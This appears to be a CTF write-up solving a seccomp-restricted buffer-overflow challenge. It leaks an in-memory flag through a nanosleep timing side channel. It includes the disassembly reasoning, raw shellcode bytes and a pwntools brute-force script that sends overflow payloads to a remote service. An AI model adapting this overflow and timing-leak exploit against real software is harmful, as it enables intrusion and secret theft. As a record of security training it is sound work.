.. visibility


 
                                   ..                         ..                                    
                                  $$$$                       $$$$                                   
                              aaaaaaaaaaa                aaaaaaaaaaa                                
                            ccKc':olcccldkKN           ccKc':olcccldkKN                             
                           cXx'aaaaaaaaaa,lON         cXx'aaaaaaaaaa,lON                            
                           0caaaaaaaaaaaa'ckN         0caaaaaaaaaaaa'ckN                            
                           K:aaaaaaaaaa,cxKN           K:aaaaaaaaaa,cxKN                            
                            aaaaaaaaa'oKXKO             aaaaaaaaa'oaaa                              
                               ''Od,;c:'aa    aaaaaaa  ,co:,lxl;x''                                 
                                 NN0l'aaaaa,:loddddddlc;'aaaaa'dX                                   
                                0l'aaa'cdOXN   K0XN   NKko;aaaa;xX                                  
                               Xd,aaa,o0N      Ndcx0       Xkcaaaa:O                                
                              XlaaaalK         Xc,ck         Nk;aaa,kN                              
                             Xoaaa,xN          Xc';x           Kcaaa,O                              
                            Nx'aa'xN           Xc':k            Kcaaa:K                             
                            KcaaalX            No;lO             O,aaaxN                            
                            O,aa'x             Kl;ckNNNNNNN      XcaaalX                            
                            k'aa'k            Ndaaa;xkxdxxOKN    XlaaacX                            
                            O,aa'x             KxdxOXNNNNNN      XcaaalX                            
                            KcaaalX                              O,aaax                             
                            Nx'aa'xN                            Kcaaa:0                             
                             Xoaaa,xN                          Klaaa,O                              
                              Xlaaa'oK                       NO:aaa,kN                              
                               Xd,aaa,dKN                  XOc'aaa:ON                               
                                N0l'aaa'cxOXN          NKko;aaaa,dX                                 
                                  NOcaaaaaa,:lodxxxddoc;'aaaaa'oK                                   
                                   Kcaaa''aaaaaaaaaaaaaaaa'aaaadX                                   
                                  Nx'aa:OKkdolc::::::cldxOKk,aa;O                                   
                                   XOddK                 NOdx0N                                     

This was a pwn challenge finally rated with 428 points in DEKRA CTF. They just give you a binary called challenge.

The instructions said:

This is a slightly different challenge.


First run

When we first run the binary we get:

-__-

Okey, weird. We can try some arguments but same response always.

Time to fire up Cutter!

First look

When we open it with Cutter we get the following information:

Almost everything disabled and not stripped so let’s search for the main function.

Looking at the first block we can see why that face was displayed. It’s trying to open flag.txt and if the open isn’t successful, print something (the face) and exit.

We can create a flag.txt file where we are executing the binary to avoid that exit so let’s do that and run it again:

Exploit me (it is an easy bof)… the flag is @ 0x7ffc3e892e60…

Nice, now we get a different result. Let’s proceed with the big function:

First, we have a fgets that reads from the flag.txt opened from before.

We discovered something important here: the contents of the flag.txt are loaded into the program’s memory.

Then it prints that string we saw before and, as it states, the address where that previous fgets put the contents of flag.txt

After that, a ton of seccomp rules.

I actually looked for each of the syscalls during the competition but when reading about seccomp I found this amazing tool called seccomp-tools that makes the work of analyzing seccomp rules so easy

We execute seccomp-tools against the binary and we get:

Exploit me (it is an easy bof)... the flag is @ 0x7ffcb9cc44b0...
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000005  if (A == fstat) goto 0011
 0007: 0x15 0x03 0x00 0x00000008  if (A == lseek) goto 0011
 0008: 0x15 0x02 0x00 0x00000023  if (A == nanosleep) goto 0011
 0009: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0011
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

So it looks like we can only execute the following syscalls:


Last part, a simple scanf:

It doesn’t have limitations so we can write as many bytes as we want. Checking var_40h, we can see it is at rbp - 0x40 so after writing 0x40 bytes we can make a buffer overflow.


We can also see that a jumper function exists with this simple code:

This is obviously for us to redirect the execution to the stack.

What now?

We know we have the contents of the flag loaded into the memory so we can just print the string and we are done. Easy challenge, right? Well, not that easy. Do you remember that seccomp part? We can’t execute any syscall different from the ones from before. That means we can’t write anything to stdout.

I actually spent a couple of hours until I had an idea. I remember a trick from blind SQL injections where you use some sort of delay to check if the SQL was executed. If the browser takes x time to respond, the SQL was valid. If not, the answer comes as soon as always.

As we can see, we have access to the nanosleep call so we can stop the execution as much as we want.

The exploit

The exploit consists of redirecting the execution to the stack and then execute some assembly to check whether each of the chars in the flag string matches one we are sending. If they match, halt the execution for 5 seconds, for example.

First, let’s write the assembly.

We have to load one byte from the address and then compare it with one character we send. If it doesn’t match, exit the program. Let’s write that first.

When debugging the code, I noticed that the register r13 contained the address of the flag so no need to actually use the one displayed when executed

movzx  eax,BYTE PTR [r13 + n]
cmp    al, my_char
jne    0x40120b

That address is the one of the mov edi, 0 in the main function that it’s followed by the call exit.

In our code, we will increase the n so we access the first item, the second, etc. in the flag and my_char for each of the printable characters.

Then, what if they are the same? Call nanosleep. I’m not really used to write assembly and I’ve never used that syscall. By googling ‘nanosleep syscall x64’ I found that it receives 2 structs so I thought about reading how others used that.

I found this script that uses nanosleep so I used that part for my assembly.

xor    rsi,rsi
push   rsi
push   0x3
push   rsp
pop    rdi
push   0x23
pop    rax
syscall
jmp    0x40120b

When testing it, it worked partially. I got DEKRA{4ss and after some time !}. Something wasn’t working.

Well, remember the program reads using scanf? Scanf cuts the input if it founds a whitespace

%s. String of characters. This will read subsequent characters until a whitespace is found (whitespace characters are considered to be blank, newline and tab).

Can you spot it? It stopped working on the 10th char. That’s \n, new line. So, my solution was to increment the starting address by something so we can dump more chars, for example, 5.

add r13, 0x5

All done! Let’s crack it.

Pwn all the things

Let’s assume that the flag is going to be 10 bytes long. If it isn’t, there is no problem because this is just a start point.

Now, printable characters. They go from ! (32) to ~ (126) so that’s what we are trying.

from pwn import *
import time
import sys

for i in range(10):
    for j in range(32, 127):
        #p = process('./challenge')
        p = remote('remote_ip', remote_port)
        # gdb.attach(p.pid, '''
        # b *main+552
        # c
        # ''')
        p.clean()

I’m going to use the famous defuse.ca to generate the bytes from the assembly

        shellcode = b"\x49\x83\xC5\x05" + b"\x41\x0f\xb6\x45"+ chr(i).encode() + b"\x3c" + chr(j).encode() + b"\x0f\x85\xf6\x11\x40\x00\x48\x31\xf6\x56\x6a\x03\x54\x5f\x6a\x23\x58\x0f\x05\xe9\xe4\x11\x40\x00"

        payload = b'A' * 0x48 + p64(0x4011c4) + shellcode

        start_time = time.time()
        p.sendline(payload)
        p.recvall()
        aprox = time.time() - start_time

        if aprox > 2:
            with open('success', 'a+') as file:
                file.write(chr(j))
                if chr(j) == '}':
                    sys.exit()
                break

After some time, the program started to hang on some characters and they were written to the file. Finally, I got:

{4ss3mbLY

If we add 5 more bytes to the r13 register, we get:

mbLY!}

Knowing that the flag started with DEKRA give us the final flag:

DEKRA{4ss3mbLY!}

Pwned!


I know that assembly can be upgraded and that there are ways to dump the flag just in 1 execution but I explain here my thinking process. It’s not, by far, a final good solution but that’s not the purpose of these writeups. I just try to explain the process of how I manage to get the solution